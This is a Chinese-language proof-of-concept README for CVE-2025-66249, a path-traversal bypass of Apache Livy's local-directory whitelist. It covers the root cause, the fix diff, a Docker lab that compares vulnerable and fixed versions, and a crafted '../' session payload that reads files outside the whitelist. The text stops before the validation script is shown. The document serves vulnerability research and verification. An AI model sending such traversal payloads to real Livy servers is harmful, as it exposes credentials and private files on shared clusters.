仅供教育和安全研究使用。请勿对您不拥有或未获明确书面许可的系统进行测试。→ 完整免责声明
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-66249 |
| 严重性 | 重要(CVSS 不适用 — 截至 2026-03-15,NVD 评估待定) |
| 影响版本 | Apache Livy 0.3.0-incubating 至 0.8.0-incubating — 仅当 livy.file.local-dir-whitelist 设置为非默认值时 |
| 修复版本 | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 路径名对受限目录限制不当('路径遍历') |
| 披露日期 | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| 报告者 | Hiroki Egawa(发现者) |
拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交一个 Spark 会话或批处理作业,其中包含精心构造的文件路径配置值,从而逃逸允许的目录白名单。
根本原因 — 白名单检查中的路径遍历绕过(Session.scala)
当配置了 livy.file.local-dir-whitelist 时,Livy 0.8.0 通过调用 Java 的 String.startsWith() 对原始、未规范化的路径进行验证。这种检查可以通过使用 ../ 遍历序列绕过:
/opt/safe-data/../sensitive/secret.txt
原始字符串以 /opt/safe-data 开头,因此检查通过——但路径实际解析为 /opt/sensitive/secret.txt,完全位于白名单目录之外。
触发条件: 仅当 livy.file.local-dir-whitelist 设置为**非默认(非空)**值时才能利用该漏洞。如果白名单为空(默认值),则完全跳过路径验证,该问题不会出现。
影响: 通过 Livy REST API 提交会话的攻击者可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读的任何数据泄露。
Session.scala存在漏洞的版本(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修复版本(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
两个版本均直接从官方 Apache Livy GitHub 仓库克隆,使用以下确切命令:
仓库: https://github.com/apache/incubator-livy
# 存在漏洞的版本 — 克隆到 ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# 修复版本 — 克隆到 ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| 版本 | 标签 | 解析的提交 | 本地路径 |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala:在白名单检查前添加 Paths.get().normalize() import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
在 v0.8.0 中的影响:
原始字符串的 startsWith 检查可以通过路径遍历载荷绕过。
示例:如果 livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(绕过)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(阻止)差异通过本地克隆两个标签(见上文)并运行以下命令生成:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
攻击者(已认证的 REST/JDBC 用户)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← 路径以白名单前缀开头 — String.startsWith() 通过
← 但通过 ../ 遍历解析到目录之外
}
}
│
▼
Livy 0.8.0 — 白名单检查绕过(原始 startsWith,无规范化)
│
▼
Spark 读取文件并分发给执行器
│
▼
攻击者通过作业输出/日志获取文件内容
本 PoC 中的所有步骤均已在以下系统上执行并验证:
| 组件 | 详情 |
|---|---|
| 主机操作系统 | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 内核 | 6.17.0-14-generic x86_64 |
| 架构 | x86_64 |
| 总内存 | 15 GiB |
| Docker 引擎 | 28.2.2 |
| 主机 JDK | OpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) |
| 容器基础镜像 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark 版本(两个镜像) | 3.1.3 with Hadoop 3.2 |
| Livy 版本 — 存在漏洞的镜像 | 0.8.0-incubating |
| Livy 版本 — 修复镜像 | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → 镜像: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → 镜像: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → 单一脚本,在两个环境中原样运行
完整的端到端顺序 — 按顺序执行步骤 1 至 4:
步骤 1: 构建存在漏洞的镜像 → 启动容器 → 验证 Livy 启动
步骤 2: 运行 validate.sh → 确认存在漏洞(攻击 HTTP 201) → 停止容器
步骤 3: 构建修复镜像 → 启动容器 → 验证 Livy 启动
步骤 4: 运行 validate.sh → 确认已修复(攻击 HTTP 400) → 停止容器
注意:
docker run后,Livy 需要大约 15–20 秒才能就绪。 以下所有步骤在进行任何 API 调用前都包含显式的sleep 20。
文件:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal,Spark 3.1.3,Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 绑定在 0.0.0.0:8998,本地模式,白名单 = /opt/safe-data1a. 构建镜像:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
验证 — 镜像已创建:
docker images cve-2025-66249-vulnerable
预期输出:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. 启动容器:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
验证 — 容器正在运行:
docker ps --filter name=livy-vulnerable
预期输出:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. 等待 Livy 启动,然后验证 REST API:
Livy 需要约 15–20 秒初始化才能开始处理请求。
sleep 20
curl -s http://localhost:8998/sessions
预期输出:
{"from":0,"total":0,"sessions":[]}
1d. 验证容器内的目录布局:
确认白名单中的安全文件存在:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
预期输出:
This file lives inside the whitelisted directory.
确认敏感文件存在于白名单之外:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
预期输出:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
步骤 1 中的漏洞容器必须仍在端口 8998 上运行。
test/validate.sh 测试内容: